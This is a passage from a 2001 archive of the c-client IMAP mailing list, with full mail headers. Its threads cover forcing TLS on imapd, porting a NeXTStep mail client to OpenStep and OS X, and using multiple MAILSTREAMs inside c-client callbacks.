there is probably not much I can do about clients that send me a 1 login user pwd as soon as they see the imapd banner: I can drop the connection, but the password will have already been sent by then... Thanks, Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 16:52:20 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 16:52:20 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA60qIT10921 for ; Mon, 5 Nov 2001 16:52:19 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 16:52:13 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA60qCn00949; Mon, 5 Nov 2001 16:52:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA60pv423804; Mon, 5 Nov 2001 16:51:57 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA60p3n52016 for ; Mon, 5 Nov 2001 16:51:03 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 16:51:02 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA60p2903515 for ; Mon, 5 Nov 2001 16:51:02 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA60p1D19273; Mon, 5 Nov 2001 16:51:01 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA60p1q20253; Mon, 5 Nov 2001 16:51:01 -0800 Message-Id: Date: Mon, 5 Nov 2001 16:50:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Marc MERLIN Cc: c-client@u.washington.edu Subject: re: forcing SSL/TLS only on imap In-Reply-To: <20011105154632.C16484@magic.merlins.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 15:46:33 -0800, Marc MERLIN wrote: > Is there a setting or a patch for imapd to accept SSL connections on 993, or > accept connections on 143 provided that the client switches to TLS? Perhaps what you want is to build the IMAP toolkit with SSLTYPE=nopwd instead of SSLTYPE=unix This is an important new capability of imap-2001; it isn't in imap-2000. From pinedev@shivax2.cac.washington.edu Mon Nov 5 19:12:44 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 19:12:44 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA63ChT01708 for ; Mon, 5 Nov 2001 19:12:43 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 19:12:31 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA63CVG24667; Mon, 5 Nov 2001 19:12:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA63CE232298; Mon, 5 Nov 2001 19:12:14 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA63BSn145752 for ; Mon, 5 Nov 2001 19:11:28 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 05 19:11:28 2001 -0800 Received: from ursa-minor.fac.cs.cmu.edu (URSA-MINOR.FAC.CS.CMU.EDU [128.2.205.178]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA63BQ409620 for ; Mon, 5 Nov 2001 19:11:26 -0800 Received: from URSA-MINOR.FAC.CS.CMU.EDU by ursa-minor.fac.cs.cmu.edu id aa73353; 5 Nov 2001 22:10 EST Message-Id: <200111060311.fA63BQ409620@mxu2.u.washington.edu> Date: Mon, 05 Nov 2001 22:10:46 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Weigel To: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: Your message of "Sat, 13 Oct 2001 13:22:53 +0200." <82242.1002979373@localhost> X-Sender: Matthew_Weigel@ursa-minor.fac.cs.cmu.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I've wondered about that, but the source wasn't available anymore > last time I looked. I'm not sure if I'd be able to make the > necessary fixes for it to compile under OS X, but I might give it a > shot... *whew* sorry for replying nearly a month after this whole thread is dead. The trick is not 'porting to OS X,' but 'porting to OpenStep.' The NeXTStep 3.3 binary *runs* under 4.2, as I recall, but does not build, because of the changes that went into the opening of the OpenStep class library. Once it builds under OpenStep, it should also be fairly straightforward to build it under GNUStep and MacOS X (since it doesn't use any of the more exotic features of DPS like NSBezierPath or the PostScript functions). I gave it a shot, but the 3.3->4.2 conversion documentation was pretty poor, and I am fairly new to the OpenStep API. I still want to return to it at some point, since I've got OpenStep and OS X running here, but I'm drowning in projects already. I made a few posts to one of the comp.sys.next.* (programmer? -probably) newsgroups awhile back, and I think someone else was working on porting another project. If you're interested in giving it a try, the conversion scripts may run OK under OS X, and most of the walkthrough should still apply as well; I can dig around my NeXT for the files. -- Matthew Weigel Research Systems Programmer mcweigel+@cs.cmu.edu From pinedev@shivax2.cac.washington.edu Sat Nov 10 04:31:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Nov 2001 04:31:09 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAACV7T12697 for ; Sat, 10 Nov 2001 04:31:08 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Sat Nov 10 04:30:55 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAACUtG29586; Sat, 10 Nov 2001 04:30:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAACUcb15130; Sat, 10 Nov 2001 04:30:39 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAACRcn70536 for ; Sat, 10 Nov 2001 04:27:38 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Nov 10 04:27:32 2001 -0800 Received: from mailrelay.netcologne.de (mailrelay.netcologne.de [194.8.194.96]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAACRVB01245 for ; Sat, 10 Nov 2001 04:27:31 -0800 Received: from [0.0.0.0] (dial-194-8-205-71.netcologne.de [194.8.205.71]) by mailrelay.netcologne.de (8.11.6/8.11.6) with ESMTP id fAACRO700485; Sat, 10 Nov 2001 13:27:24 +0100 (MET) Message-Id: <151102.1005397675@localhost> Date: Sat, 10 Nov 2001 13:07:55 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Matthew Weigel Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: <200111060311.fA63BQ409620@mxu2.u.washington.edu> References: <200111060311.fA63BQ409620@mxu2.u.washington.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Matthew Weigel is rumored to=20 have mumbled on Montag, 5. November 2001 22:10 Uhr -0500 regarding Re:=20 imapd + Outlook =3D : >> I've wondered about that, but the source wasn't available anymore >> last time I looked. I'm not sure if I'd be able to make the >> necessary fixes for it to compile under OS X, but I might give it a >> shot... > > *whew* sorry for replying nearly a month after this whole thread is dead. No problem, I haven't yet spent much time on this... > The trick is not 'porting to OS X,' but 'porting to OpenStep.' The > NeXTStep 3.3 binary *runs* under 4.2, as I recall, but does not build, > because of the changes that went into the opening of the OpenStep class > library. And OpenStep 4.2 projects don't build under OS X, or do they? > Once it builds under OpenStep, it should also be fairly straightforward > to build it under GNUStep and MacOS X (since it doesn't use any of the > more exotic features of DPS like NSBezierPath or the PostScript > functions). Really? The main issue right now seems to be the different .nib-format. > I gave it a shot, but the 3.3->4.2 conversion documentation was pretty > poor, and I am fairly new to the OpenStep API. I still want to return > to it at some point, since I've got OpenStep and OS X running here, > but I'm drowning in projects already. I made a few posts to one of > the comp.sys.next.* (programmer? -probably) newsgroups awhile back, > and I think someone else was working on porting another project. > > If you're interested in giving it a try, the conversion scripts may run > OK under OS X, and most of the walkthrough should still apply as well; > I can dig around my NeXT for the files. Where would I find the conversion scripts? I'm curious about this, although = I'm pretty sure I won't be able to do this on my own. -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. From pinedev@shivax2.cac.washington.edu Sat Nov 10 15:22:41 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Nov 2001 15:22:41 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAANMeT14104 for ; Sat, 10 Nov 2001 15:22:40 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Nov 10 15:22:25 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAANMOG08228; Sat, 10 Nov 2001 15:22:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAANL0529268; Sat, 10 Nov 2001 15:21:00 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAANJfn100690 for ; Sat, 10 Nov 2001 15:19:41 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Sat Nov 10 15:19:37 2001 -0800 Received: from ursa-minor.fac.cs.cmu.edu (URSA-MINOR.FAC.CS.CMU.EDU [128.2.205.178]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAANJb907035 for ; Sat, 10 Nov 2001 15:19:37 -0800 Received: from URSA-MINOR.FAC.CS.CMU.EDU by ursa-minor.fac.cs.cmu.edu id aa82911; 10 Nov 2001 18:19 EST Message-Id: <200111102319.fAANJb907035@mxu4.u.washington.edu> Date: Sat, 10 Nov 2001 18:19:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Weigel To: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: Your message of "Sat, 10 Nov 2001 13:07:55 +0100." <151102.1005397675@localhost> X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > The trick is not 'porting to OS X,' but 'porting to OpenStep.' The > > NeXTStep 3.3 binary *runs* under 4.2, as I recall, but does not > > build, because of the changes that went into the opening of the > > OpenStep class library. > > And OpenStep 4.2 projects don't build under OS X, or do they? Actually, I was under the impression that they did, maybe with a little of futzing. Certainly I've seen (small) projects that made the leap in a single bound. > > Once it builds under OpenStep, it should also be fairly straightforward > > to build it under GNUStep and MacOS X (since it doesn't use any of the > > more exotic features of DPS like NSBezierPath or the PostScript > > functions). > > Really? The main issue right now seems to be the different .nib-format. One of the NeXTStep->OpenStep steps is .nib conversion, and OS X uses the OpenStep .nib-format. I just opened one of the .nibs from 4.2's Edit.app on my iBook, to make sure. The menu bar is a little 'wrong' - it doesn't follow OS X interface guidelines - but it's there. > > If you're interested in giving it a try, the conversion scripts may run > > OK under OS X, and most of the walkthrough should still apply as well; > > I can dig around my NeXT for the files. > > Where would I find the conversion scripts? I'm curious about this, > although I'm pretty sure I won't be able to do this on my own. Probably from someone with OpenStep 4.2, such as myself ;) -- Matthew Weigel Research Systems Programmer mcweigel+@cs.cmu.edu From pinedev@shivax2.cac.washington.edu Tue Nov 13 05:02:50 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Nov 2001 05:02:49 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADD2mT24439 for ; Tue, 13 Nov 2001 05:02:48 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 13 05:02:45 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADD2jn27653; Tue, 13 Nov 2001 05:02:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADD2Lb18960; Tue, 13 Nov 2001 05:02:21 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADCxDn111802 for ; Tue, 13 Nov 2001 04:59:13 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 13 04:59:13 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADCxA427946 for ; Tue, 13 Nov 2001 04:59:11 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id fADCx0P11711 for ; Tue, 13 Nov 2001 09:59:02 -0300 Message-Id: <200111131259.fADCx0P11711@stratus.swi.com.br> Date: Tue, 13 Nov 2001 09:59:02 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: managing multiples MAILSTREAMS at same time Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I want to know what ae the current status of c-client regarding MAILSTREAMS in a single-threaded/event based application. Can I safely work with more than one mailstream at a time? what are the issues related to this? In the docs/internal.txt there is an alert regarding the use of MAILSTREAMS in a callback function. Most callbacks (mm_flags, mm_status, mm_searched, mm_exists, mm_expunged, mm_list, mm_lsub, mm_notify, mm_critical, mm_no_critical, mm_diskerror) returns the mailstream used that causes it. Is it safe to work with another mailstream during this callbacks? Some others callbacks (mm_log, mm_dlog, mm_login, mm_fatal) does not return the mailstream. Some situations does not makes sense to return the mailstream, but others do (e.g. some mm_log() calls). Shouldn't a mailstream be passed with this callbacks (NIL if it doesn't makes sense) ? How different is internal.txt from the actual API? what (files) should I look to get an update view of the API? Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 13 07:46:48 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Nov 2001 07:46:47 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADFkkT05258 for ; Tue, 13 Nov 2001 07:46:46 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 13 07:46:42 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADFkgG13879; Tue, 13 Nov 2001 07:46:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADFjK229074; Tue, 13 Nov 2001 07:45:20 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADFhjn54370 for ; Tue, 13 Nov 2001 07:43:45 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 13 07:43:44 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADFhhB22913 for ; Tue, 13 Nov 2001 07:43:43 -0800 Message-Id: Date: Tue, 13 Nov 2001 07:31:27 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: re: managing multiples MAILSTREAMS at same time In-Reply-To: <200111131259.fADCx0P11711@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 13 Nov 2001 09:59:02 -0300, Raul Dias wrote: > Can I safely work with more than one mailstream at a time? Yes. Many applications do that. > what are the issues related to this? No special issues. > Most callbacks (mm_flags, mm_status, mm_searched, mm_exists, mm_expunged, > mm_list, mm_lsub, mm_notify, mm_critical, mm_no_critical, mm_diskerror) > returns the mailstream used that causes it. > Is it safe to work with another mailstream during this callbacks? The question is, "why do you want to do this?" A callback should be a very small function that does *NOT* recurse back into the c-client library. So you should not call any mail_xxx() functions from a callback function. In fact, it is dangerous to do so, even if it's a different stream (so it won't trigger the "lock when already locked" bugtrap). > Some others callbacks (mm_log, mm_dlog, mm_login, mm_fatal) does not return > the mailstream. > Some situations does not makes sense to return the mailstream, but others do > (e.g. some mm_log() calls). > Shouldn't a mailstream be passed with this callbacks (NIL if it doesn't > makes sense) ? It possibly could sense for mm_log() and mm_dlog(), but there is 14 years of history that doesn't have them. In addition, there would be many calls which would have a NIL stream. In general, if an event is something that the application needs to know the stream, mm_notify() is called rather than mm_log(). There is no fully-formed stream when mm_login() is called. The NETMBX struct argument contains everything that is currently available for the application. The only thing that an application should do with mm_fatal() is close any local files. It should not try to do anything at all with mail streams. If mm_fatal() is called, things are badly messed up, and an expert needs to debug the core dump. You do not want to distort things any worse by doing anything that isn't strictly necessary to the purpose of crashing. The core dump will have all the mailstream, etc. information that one might need. > How different is internal.txt from the actual API? what (files) should I > look to get an update view of the API? The API has over 5 years of development, and there have been significant changes. Internal.txt has a lot of good information, but it's like using an old BSD 4.3 manual to guide you on Linux. At the very least, you need to look at mail.h, which defines the most important interfaces. Also smtp.h, misc.h, and rfc822.h. From pinedev@shivax2.cac.washington.edu Tue Nov 13 10:45:23 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Nov 2001 10:45:21 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADIjKT14911 for ; Tue, 13 Nov 2001 10:45:20 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 13 10:45:14 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADIjEn05840; Tue, 13 Nov 2001 10:45:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADIik514744; Tue, 13 Nov 2001 10:44:46 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADIh3n43552 for ; Tue, 13 Nov 2001 10:43:03 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 13 10:43:02 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADIgx209451 for ; Tue, 13 Nov 2001 10:43:01 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id fADIgYP23389; Tue, 13 Nov 2001 15:42:34 -0300 Message-Id: <200111131842.fADIgYP23389@stratus.swi.com.br> Date: Tue, 13 Nov 2001 15:42:34 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: Subject: Re: managing multiples MAILSTREAMS at same time Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >On Tue, 13 Nov 2001 09:59:02 -0300, Raul Dias wrote: >> Can I safely work with more than one mailstream at a time? > >Yes. Many applications do that. > >> what are the issues related to this? > >No special issues. > >> Most callbacks (mm_flags, mm_status, mm_searched, mm_exists, mm_expunged, >> mm_list, mm_lsub, mm_notify, mm_critical, mm_no_critical, mm_diskerror) >> returns the mailstream used that causes it. >> Is it safe to work with another mailstream during this callbacks? > >The question is, "why do you want to do this?" I will be using c-client in a event loop to proccess a few mailboxes concurrently. In some cases c-client might block for a a few seconds and a callback would be a good place (or not) to check for pending events on the event loop (e.g. I/O events). So I need to know where I would be stepping on. > >A callback should be a very small function that does *NOT* recurse back into >the c-client library. So you should not call any mail_xxx() functions from a >callback function. In fact, it is dangerous to do so, even if it's a >different stream (so it won't trigger the "lock when already locked" bugtrap). that's exactly what I needed to know. > >> Some others callbacks (mm_log, mm_dlog, mm_login, mm_fatal) does not return >> the mailstream. >> Some situations does not makes sense to return the mailstream, but others do >> (e.g. some mm_log() calls). >> Shouldn't a mailstream be passed with this callbacks (NIL if it doesn't >> makes sense) ? > >It possibly could sense for mm_log() and mm_dlog(), but there is 14 years of >history that doesn't have them. In addition, there would be many calls which >would have a NIL stream. In general, if an event is something that the >application needs to know the stream, mm_notify() is called rather than >mm_log(). The 14 years are louder. A few flags can take care of mm_log(). Thanks for the info, Raul Dias From pinedev@shivax2.cac.washington.edu Tue Nov 13 11:02:41 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 13 Nov 2001 11:02:39 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADJ2cT08936 for ; Tue, 13 Nov 2001 11:02:39 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 13 11:02:35 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADJ2Zn06685; Tue, 13 Nov 2001 11:02:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADJ2F405260; Tue, 13 Nov 2001 11:02:15 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fADJ16n167420 for ; Tue, 13 Nov 2001 11:01:06 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 13 11:01:05 2001 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADJ15402269 for ; Tue, 13 Nov 2001 11:01:05 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADJ14x17172; Tue, 13 Nov 2001 11:01:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fADJ14w12223; Tue, 13 Nov 2001 11:01:04 -0800 Message-Id: Date: Tue, 13 Nov 2001 10:47:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: Re: managing multiples MAILSTREAMS at same time In-Reply-To: <200111131842.fADIgYP23389@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 13 Nov 2001 15:42:34 -0300, Raul Dias wrote: > I will be using c-client in a event loop to proccess a few mailboxes > concurrently. > In some cases c-client might block for a a few seconds and a callback would > be a good place (or not) to check for pending events on the event loop > (e.g. I/O events). > So I need to know where I would be stepping on. Event loop issues are always troublesome. The usual technique is to have a miniature event loop, much as you propose. An example is how blocking is implemented in the TCP code for the MacOS port. However, I don't think that you'll get much help from callbacks for blocking events in c-client. It is much more usual to get a callback when c-client is not blocking; that is, when you get a callback it's quite likely that the main function return from c-client will happen immediately afterwards. The main exception would be a search, through a very large mailbox, that has to parse RFC822/MIME structure since it hasn't already been done. In that case, you may be PARSE mm_notify() events from bogus RFC822/MIME. From pinedev@shivax2.cac.washington.edu Wed Nov 14 08:51:21 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 14 Nov 2001 08:51:21 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAEGpJT11148 for ; Wed, 14 Nov 2001 08:51:19 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Nov 14 08:51:12 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAEGpCn10039; Wed, 14 Nov 2001 08:51:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAEGohb32700; Wed, 14 Nov 2001 08:50:43 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with 